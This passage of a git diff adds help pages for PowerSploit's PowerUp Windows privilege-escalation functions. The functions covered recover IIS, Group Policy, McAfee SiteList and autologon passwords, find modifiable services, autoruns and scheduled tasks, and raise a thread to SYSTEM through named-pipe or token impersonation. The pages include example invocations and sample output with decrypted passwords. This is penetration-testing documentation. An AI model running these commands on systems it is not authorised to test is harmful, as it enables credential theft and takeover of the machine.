ByValue) +Accept wildcard characters: False +``` + +### -ExcludeWindows +Exclude paths from C:\Windows\* instead of just C:\Windows\System32\* + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludeProgramFiles +Exclude paths from C:\Program Files\* and C:\Program Files (x86)\* + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludeOwned +Exclude processes the current user owns. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.HijackableDLL.Process + +## NOTES + +## RELATED LINKS + +[https://www.mandiant.com/blog/malware-persistence-windows-registry/](https://www.mandiant.com/blog/malware-persistence-windows-registry/) + diff --git a/docs/Privesc/Get-ApplicationHost.md b/docs/Privesc/Get-ApplicationHost.md new file mode 100755 index 0000000..44d07d7 --- /dev/null +++ b/docs/Privesc/Get-ApplicationHost.md @@ -0,0 +1,95 @@ +# Get-ApplicationHost + +## SYNOPSIS +Recovers encrypted application pool and virtual directory passwords from the applicationHost.config on the system. + +Author: Scott Sutherland +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-ApplicationHost +``` + +## DESCRIPTION +This script will decrypt and recover application pool and virtual directory passwords +from the applicationHost.config file on the system. +The output supports the +pipeline which can be used to convert all of the results into a pretty table by piping +to format-table. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Return application pool and virtual directory passwords from the applicationHost.config on the system. +``` + +Get-ApplicationHost + +user : PoolUser1 +pass : PoolParty1! +type : Application Pool +vdir : NA +apppool : ApplicationPool1 +user : PoolUser2 +pass : PoolParty2! +type : Application Pool +vdir : NA +apppool : ApplicationPool2 +user : VdirUser1 +pass : VdirPassword1! +type : Virtual Directory +vdir : site1/vdir1/ +apppool : NA +user : VdirUser2 +pass : VdirPassword2! +type : Virtual Directory +vdir : site2/ +apppool : NA + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Return a list of cleartext and decrypted connect strings from web.config files. +``` + +Get-ApplicationHost | Format-Table -Autosize + +user pass type vdir apppool +---- ---- ---- ---- ------- +PoolUser1 PoolParty1! +Application Pool NA ApplicationPool1 +PoolUser2 PoolParty2! +Application Pool NA ApplicationPool2 +VdirUser1 VdirPassword1! +Virtual Directory site1/vdir1/ NA +VdirUser2 VdirPassword2! +Virtual Directory site2/ NA + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### System.Data.DataTable + +System.Boolean + +## NOTES +Author: Scott Sutherland - 2014, NetSPI +Version: Get-ApplicationHost v1.0 +Comments: Should work on IIS 6 and Above + +## RELATED LINKS + +[https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +http://www.netspi.com +http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe +http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx](https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +http://www.netspi.com +http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe +http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx) + diff --git a/docs/Privesc/Get-CachedGPPPassword.md b/docs/Privesc/Get-CachedGPPPassword.md new file mode 100755 index 0000000..2169a15 --- /dev/null +++ b/docs/Privesc/Get-CachedGPPPassword.md @@ -0,0 +1,55 @@ +# Get-CachedGPPPassword + +## SYNOPSIS +Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and +left in cached files on the host. + +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-CachedGPPPassword +``` + +## DESCRIPTION +Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and +datasources.xml files and returns plaintext passwords. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-CachedGPPPassword +``` + +NewName : \[BLANK\] +Changed : {2013-04-25 18:36:07} +Passwords : {Super!!!Password} +UserNames : {SuperSecretBackdoor} +File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7 + C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr + oups.xml + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html +https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 +https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb +http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences +http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html](http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html +https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 +https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb +http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences +http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html) + diff --git a/docs/Privesc/Get-ModifiablePath.md b/docs/Privesc/Get-ModifiablePath.md new file mode 100755 index 0000000..2a1118f --- /dev/null +++ b/docs/Privesc/Get-ModifiablePath.md @@ -0,0 +1,102 @@ +# Get-ModifiablePath + +## SYNOPSIS +Parses a passed string containing multiple possible file/folder paths and returns +the file paths where the current user has modification rights. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-ModifiablePath [-Path] [-Literal] +``` + +## DESCRIPTION +Takes a complex path specification of an initial file/folder path with possible +configuration files, 'tokenizes' the string in a number of possible ways, and +enumerates the ACLs for each path that currently exists on the system. +Any path that +the current user has modification rights on is returned in a custom object that contains +the modifiable path, associated permission set, and the IdentityReference with the specified +rights. +The SID of the current user and any group he/she are a part of are used as the +comparison set against the parsed path DACLs. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +'"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath +``` + +Path Permissions IdentityReference +---- ----------- ----------------- +C:\Temp\blah.exe {ReadAttributes, ReadCo... +NT AUTHORITY\Authentic... +C:\Temp\config.ini {ReadAttributes, ReadCo... +NT AUTHORITY\Authentic... + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath +``` + +Path Permissions IdentityReference +---- ----------- ----------------- +C:\Vuln\blah.bat {ReadAttributes, ReadCo... +NT AUTHORITY\Authentic... +C:\Vuln\config.ini {ReadAttributes, ReadCo... +NT AUTHORITY\Authentic... +... + +## PARAMETERS + +### -Path +The string path to parse for modifiable files. +Required + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: FullName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Literal +Switch. +Treat all paths as literal (i.e. +don't do 'tokenization'). + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: LiteralPaths + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.TokenPrivilege.ModifiablePath + +Custom PSObject containing the Permissions, ModifiablePath, IdentityReference for +a modifiable path. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ModifiableRegistryAutoRun.md b/docs/Privesc/Get-ModifiableRegistryAutoRun.md new file mode 100755 index 0000000..23314f9 --- /dev/null +++ b/docs/Privesc/Get-ModifiableRegistryAutoRun.md @@ -0,0 +1,44 @@ +# Get-ModifiableRegistryAutoRun + +## SYNOPSIS +Returns any elevated system autoruns in which the current user can +modify part of the path string. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath + +## SYNTAX + +``` +Get-ModifiableRegistryAutoRun +``` + +## DESCRIPTION +Enumerates a number of autorun specifications in HKLM and filters any +autoruns through Get-ModifiablePath, returning any file/config locations +in the found path strings that the current user can modify. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ModifiableRegistryAutoRun +``` + +Return vulneable autorun binaries (or associated configs). + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.ModifiableRegistryAutoRun + +Custom PSObject containing results. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ModifiableScheduledTaskFile.md b/docs/Privesc/Get-ModifiableScheduledTaskFile.md new file mode 100755 index 0000000..4e48cc4 --- /dev/null +++ b/docs/Privesc/Get-ModifiableScheduledTaskFile.md @@ -0,0 +1,45 @@ +# Get-ModifiableScheduledTaskFile + +## SYNOPSIS +Returns scheduled tasks where the current user can modify any file +in the associated task action string. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath + +## SYNTAX + +``` +Get-ModifiableScheduledTaskFile +``` + +## DESCRIPTION +Enumerates all scheduled tasks by recursively listing "$($ENV:windir)\System32\Tasks" +and parses the XML specification for each task, extracting the command triggers. +Each trigger string is filtered through Get-ModifiablePath, returning any file/config +locations in the found path strings that the current user can modify. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ModifiableScheduledTaskFile +``` + +Return scheduled tasks with modifiable command strings. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.ModifiableScheduledTaskFile + +Custom PSObject containing results. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ModifiableService.md b/docs/Privesc/Get-ModifiableService.md new file mode 100755 index 0000000..92eeb81 --- /dev/null +++ b/docs/Privesc/Get-ModifiableService.md @@ -0,0 +1,40 @@ +# Get-ModifiableService + +## SYNOPSIS +Enumerates all services and returns services for which the current user can modify the binPath. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Test-ServiceDaclPermission, Get-ServiceDetail + +## SYNTAX + +``` +Get-ModifiableService +``` + +## DESCRIPTION +Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if +the current user has rights to change the service configuration. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ModifiableService +``` + +Get a set of potentially exploitable services. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.ModifiablePath + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ModifiableServiceFile.md b/docs/Privesc/Get-ModifiableServiceFile.md new file mode 100755 index 0000000..ab01e42 --- /dev/null +++ b/docs/Privesc/Get-ModifiableServiceFile.md @@ -0,0 +1,45 @@ +# Get-ModifiableServiceFile + +## SYNOPSIS +Enumerates all services and returns vulnerable service files. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Test-ServiceDaclPermission, Get-ModifiablePath + +## SYNTAX + +``` +Get-ModifiableServiceFile +``` + +## DESCRIPTION +Enumerates all services by querying the WMI win32_service class. +For each service, +it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine +if the current user has rights to modify the service binary itself or any associated +arguments. +If the associated binary (or any configuration files) can be overwritten, +privileges may be able to be escalated. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ModifiableServiceFile +``` + +Get a set of potentially exploitable service binares/config files. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.ModifiablePath + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ProcessTokenGroup.md b/docs/Privesc/Get-ProcessTokenGroup.md new file mode 100755 index 0000000..e52533c --- /dev/null +++ b/docs/Privesc/Get-ProcessTokenGroup.md @@ -0,0 +1,114 @@ +# Get-ProcessTokenGroup + +## SYNOPSIS +Returns all SIDs that the current token context is a part of, whether they are disabled or not. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Get-TokenInformation + +## SYNTAX + +``` +Get-ProcessTokenGroup [[-Id] ] +``` + +## DESCRIPTION +First, if a process ID is passed, then the process is opened using OpenProcess(), +otherwise GetCurrentProcess() is used to open up a pseudohandle to the current process. +OpenProcessToken() is then used to get a handle to the specified process token. +The token +is then passed to Get-TokenInformation to query the current token groups for the specified +token. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ProcessTokenGroup +``` + +SID Attributes ProcessId +--- ---------- --------- +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-1-0 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-32-544 SE_GROUP_USE_FOR_DENY_ONLY 1372 +S-1-5-32-545 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-4 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-2-1 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-11 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-15 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-5-0-419601 ...SE_GROUP_INTEGRITY_ENABLED 1372 +S-1-2-0 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-18-1 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-16-8192 1372 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Process notepad | Get-ProcessTokenGroup +``` + +SID Attributes ProcessId +--- ---------- --------- +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-1-0 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-32-544 SE_GROUP_USE_FOR_DENY_ONLY 2640 +S-1-5-32-545 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-4 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-2-1 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-11 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-15 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-5-0-419601 ...SE_GROUP_INTEGRITY_ENABLED 2640 +S-1-2-0 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-18-1 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-16-8192 2640 + +## PARAMETERS + +### -Id +The process ID to enumerate token groups for, otherwise defaults to the current process. + +```yaml +Type: UInt32 +Parameter Sets: (All) +Aliases: ProcessID + +Required: False +Position: 1 +Default value: 0 +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.TokenGroup + +Outputs a custom object containing the token group (SID/attributes) for the specified token if +"-InformationClass 'Groups'" is passed. + +PowerUp.TokenPrivilege + +Outputs a custom object containing the token privilege (name/attributes) for the specified token if +"-InformationClass 'Privileges'" is passed + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ProcessTokenPrivilege.md b/docs/Privesc/Get-ProcessTokenPrivilege.md new file mode 100755 index 0000000..9f835f2 --- /dev/null +++ b/docs/Privesc/Get-ProcessTokenPrivilege.md @@ -0,0 +1,131 @@ +# Get-ProcessTokenPrivilege + +## SYNOPSIS +Returns all privileges for the current (or specified) process ID. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Get-TokenInformation + +## SYNTAX + +``` +Get-ProcessTokenPrivilege [[-Id] ] [-Special] +``` + +## DESCRIPTION +First, if a process ID is passed, then the process is opened using OpenProcess(), +otherwise GetCurrentProcess() is used to open up a pseudohandle to the current process. +OpenProcessToken() is then used to get a handle to the specified process token. +The token +is then passed to Get-TokenInformation to query the current privileges for the specified +token. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ProcessTokenPrivilege +``` + +Privilege Attributes ProcessId + --------- ---------- --------- + SeShutdownPrivilege DISABLED 2600 + SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2600 + SeUndockPrivilege DISABLED 2600 +SeIncreaseWorkingSetPrivilege DISABLED 2600 + SeTimeZonePrivilege DISABLED 2600 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-ProcessTokenPrivilege -Special +``` + +Privilege Attributes ProcessId +--------- ---------- --------- +SeSecurityPrivilege DISABLED 2444 +SeTakeOwnershipPrivilege DISABLED 2444 +SeBackupPrivilege DISABLED 2444 +SeRestorePrivilege DISABLED 2444 +SeSystemEnvironmentPriv... +DISABLED 2444 +SeImpersonatePrivilege ...T, SE_PRIVILEGE_ENABLED 2444 + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-Process notepad | Get-ProcessTokenPrivilege | fl +``` + +Privilege : SeShutdownPrivilege +Attributes : DISABLED +ProcessId : 2640 + +Privilege : SeChangeNotifyPrivilege +Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED +ProcessId : 2640 + +Privilege : SeUndockPrivilege +Attributes : DISABLED +ProcessId : 2640 + +Privilege : SeIncreaseWorkingSetPrivilege +Attributes : DISABLED +ProcessId : 2640 + +Privilege : SeTimeZonePrivilege +Attributes : DISABLED +ProcessId : 2640 + +## PARAMETERS + +### -Id +The process ID to enumerate token groups for, otherwise defaults to the current process. + +```yaml +Type: UInt32 +Parameter Sets: (All) +Aliases: ProcessID + +Required: False +Position: 1 +Default value: 0 +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Special +Switch. +Only return 'special' privileges, meaning admin-level privileges. +These include SeSecurityPrivilege, SeTakeOwnershipPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, +SeRestorePrivilege, SeDebugPrivilege, SeSystemEnvironmentPrivilege, SeImpersonatePrivilege, SeTcbPrivilege. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: Privileged + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.TokenGroup + +Outputs a custom object containing the token group (SID/attributes) for the specified token if +"-InformationClass 'Groups'" is passed. + +PowerUp.TokenPrivilege + +Outputs a custom object containing the token privilege (name/attributes) for the specified token if +"-InformationClass 'Privileges'" is passed + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-RegistryAlwaysInstallElevated.md b/docs/Privesc/Get-RegistryAlwaysInstallElevated.md new file mode 100755 index 0000000..ff48afc --- /dev/null +++ b/docs/Privesc/Get-RegistryAlwaysInstallElevated.md @@ -0,0 +1,45 @@ +# Get-RegistryAlwaysInstallElevated + +## SYNOPSIS +Checks if any of the AlwaysInstallElevated registry keys are set. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-RegistryAlwaysInstallElevated +``` + +## DESCRIPTION +Returns $True if the HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated +or the HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated keys +are set, $False otherwise. +If one of these keys are set, then all .MSI files run with +elevated permissions, regardless of current user permissions. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-RegistryAlwaysInstallElevated +``` + +Returns $True if any of the AlwaysInstallElevated registry keys are set. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### System.Boolean + +$True if RegistryAlwaysInstallElevated is set, $False otherwise. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-RegistryAutoLogon.md b/docs/Privesc/Get-RegistryAutoLogon.md new file mode 100755 index 0000000..b93e75c --- /dev/null +++ b/docs/Privesc/Get-RegistryAutoLogon.md @@ -0,0 +1,44 @@ +# Get-RegistryAutoLogon + +## SYNOPSIS +Finds any autologon credentials left in the registry. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-RegistryAutoLogon +``` + +## DESCRIPTION +Checks if any autologon accounts/credentials are set in a number of registry locations. +If they are, the credentials are extracted and returned as a custom PSObject. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-RegistryAutoLogon +``` + +Finds any autologon credentials left in the registry. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.RegistryAutoLogon + +Custom PSObject containing autologin credentials found in the registry. + +## NOTES + +## RELATED LINKS + +[https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb) + diff --git a/docs/Privesc/Get-ServiceDetail.md b/docs/Privesc/Get-ServiceDetail.md new file mode 100755 index 0000000..ac758b0 --- /dev/null +++ b/docs/Privesc/Get-ServiceDetail.md @@ -0,0 +1,65 @@ +# Get-ServiceDetail + +## SYNOPSIS +Returns detailed information about a specified service by querying the +WMI win32_service class for the specified service name. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-ServiceDetail [-Name] +``` + +## DESCRIPTION +Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on +the pipeline object returned by Get-Service, extracts out the service name, queries the +WMI win32_service class for the specified service for details like binPath, and outputs +everything. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ServiceDetail -Name VulnSVC +``` + +Gets detailed information about the 'VulnSVC' service. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSVC | Get-ServiceDetail +``` + +Gets detailed information about the 'VulnSVC' service. + +## PARAMETERS + +### -Name +An array of one or more service names to query information for. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.Management.ManagementObject + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-SiteListPassword.md b/docs/Privesc/Get-SiteListPassword.md new file mode 100755 index 0000000..1ebbb5b --- /dev/null +++ b/docs/Privesc/Get-SiteListPassword.md @@ -0,0 +1,96 @@ +# Get-SiteListPassword + +## SYNOPSIS +Retrieves the plaintext passwords for found McAfee's SiteList.xml files. +Based on Jerome Nokin (@funoverip)'s Python solution (in links). + +Author: Jerome Nokin (@funoverip) +PowerShell Port: @harmj0y +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-SiteListPassword [[-Path] ] +``` + +## DESCRIPTION +Searches for any McAfee SiteList.xml in C:\Program Files\, C:\Program Files (x86)\, +C:\Documents and Settings\, or C:\Users\. +For any files found, the appropriate +credential fields are extracted and decrypted using the internal Get-DecryptedSitelistPassword +function that takes advantage of McAfee's static key encryption. +Any decrypted credentials +are output in custom objects. +See links for more information. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-SiteListPassword +``` + +EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== +UserName : +Path : Products/CommonUpdater +Name : McAfeeHttp +DecPassword : MyStrongPassword! +Enabled : 1 +DomainName : +Server : update.nai.com:80 + +EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== +UserName : McAfeeService +Path : Repository$ +Name : Paris +DecPassword : MyStrongPassword! +Enabled : 1 +DomainName : companydomain +Server : paris001 + +EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== +UserName : McAfeeService +Path : Repository$ +Name : Tokyo +DecPassword : MyStrongPassword! +Enabled : 1 +DomainName : companydomain +Server : tokyo000 + +## PARAMETERS + +### -Path +Optional path to a SiteList.xml file or folder. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.SiteListPassword + +## NOTES + +## RELATED LINKS + +[https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ +https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ +https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md +https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf](https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ +https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ +https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md +https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf) + diff --git a/docs/Privesc/Get-System.md b/docs/Privesc/Get-System.md new file mode 100755 index 0000000..bcaf3d6 --- /dev/null +++ b/docs/Privesc/Get-System.md @@ -0,0 +1,172 @@ +# Get-System + +## SYNOPSIS +GetSystem functionality inspired by Meterpreter's getsystem. +'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create +a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. +NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure +token duplication works correctly. + +PowerSploit Function: Get-System +Author: @harmj0y, @mattifestation +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### NamedPipe (Default) +``` +Get-System [-Technique ] [-ServiceName ] [-PipeName ] +``` + +### Token +``` +Get-System [-Technique ] +``` + +### RevToSelf +``` +Get-System [-RevToSelf] +``` + +### WhoAmI +``` +Get-System [-WhoAmI] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-System +``` + +Uses named impersonate to elevate the current thread token to SYSTEM. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' +``` + +Uses named impersonate to elevate the current thread token to SYSTEM +with a custom service and pipe name. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-System -Technique Token +``` + +Uses token duplication to elevate the current thread token to SYSTEM. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-System -WhoAmI +``` + +Displays the credentials for the current thread. + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Get-System -RevToSelf +``` + +Reverts the current thread privileges. + +## PARAMETERS + +### -Technique +The technique to use, 'NamedPipe' or 'Token'. + +```yaml +Type: String +Parameter Sets: NamedPipe, Token +Aliases: + +Required: False +Position: Named +Default value: NamedPipe +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServiceName +The name of the service used with named pipe impersonation, defaults to 'TestSVC'. + +```yaml +Type: String +Parameter Sets: NamedPipe +Aliases: + +Required: False +Position: Named +Default value: TestSVC +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PipeName +The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. + +```yaml +Type: String +Parameter Sets: NamedPipe +Aliases: + +Required: False +Position: Named +Default value: TestSVC +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RevToSelf +Reverts the current thread privileges. + +```yaml +Type: SwitchParameter +Parameter Sets: RevToSelf +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -WhoAmI +Switch. +Display the credentials for the current PowerShell thread. + +```yaml +Type: SwitchParameter +Parameter Sets: WhoAmI +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c +https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot +http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ +http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/](https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c +https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot +http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ +http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/) + diff --git a/docs/Privesc/Get-UnattendedInstallFile.md b/docs/Privesc/Get-UnattendedInstallFile.md new file mode 100755 index 0000000..8927520 --- /dev/null +++ b/docs/Privesc/Get-UnattendedInstallFile.md @@ -0,0 +1,44 @@ +# Get-UnattendedInstallFile + +## SYNOPSIS +Checks several locations for remaining unattended installation files, +which may have deployment credentials. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-UnattendedInstallFile +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### -------------------------- 